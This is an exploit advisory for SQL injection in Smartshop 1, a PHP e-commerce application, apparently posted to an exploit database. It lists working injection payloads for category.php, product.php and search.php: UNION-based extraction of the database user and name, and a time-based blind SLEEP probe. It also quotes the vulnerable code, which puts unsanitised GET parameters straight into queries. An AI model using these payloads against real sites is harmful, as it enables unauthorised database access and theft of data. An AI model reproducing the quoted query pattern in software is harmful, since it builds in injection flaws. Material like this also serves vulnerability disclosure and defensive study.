Smartshop 1 SQL Injection

`# Exploit Title: Smartshop 1 - SQL Injection  
# Date: 2018-06-02  
# Exploit Author: L0RD or [email protected]  
# Software Link: https://github.com/smakosh/Smartshop/archive/master.zip  
# Vendor Homepage: https://www.behance.net/gallery/49080415/Smartshop-Free-e-commerce-website  
# Version: 1  
# Tested on: Kali linux  
=================================================  
# Description :  
Smartshop 1 suffers from sql injection which attacker can inject sql  
commands .  
=================================================  
# POC : SQLi  
  
# vulnerable files : [ category.php , product.php , search.php ]  
  
1) category.php :  
# Parameter : id  
# Type : Union based  
# Payload : ' UNION SELECT 1,user(),3,4,5%23  
  
# Vulnerable code :  
  
$id_category =$_GET['id'];  
$start = ($page > 1) ? ($page * $perpage) - $perpage : 0;  
$queryproduct = "SELECT SQL_CALC_FOUND_ROWS id, name, price, id_picture,  
thumbnail FROM product WHERE id_category = '{$id_category}' ORDER BY id  
DESC LIMIT {$start}, 16";  
$result = $connection->query($queryproduct);  
  
=================================================  
  
2) product.php :  
# Parameter : id  
# Type : Union based  
# Payload : ' UNION SELECT 1,user(),database(),4,5,6%23  
  
# Vulnerable code :  
  
$id_product =$_GET['id'];  
$queryproduct = "SELECT id, name, price, description, id_picture, thumbnail  
FROM product WHERE id = '{$id_product}'";  
$result1 = $connection->query($queryproduct);  
  
=================================================  
  
3) search.php :  
# Parameter : searched  
# Type : Time-based blind  
# Payload : ' AND SLEEP(10)%23  
  
# Vulnerable code :  
  
$word = $_GET['searched'];  
$queryproduct = "SELECT SQL_CALC_FOUND_ROWS id, name, price, id_picture,  
thumbnail FROM product WHERE name LIKE '%{$word}%' ORDER BY id DESC LIMIT  
{$start}, 16";  
$result = $connection->query($queryproduct);  
  
=================================================  
  
`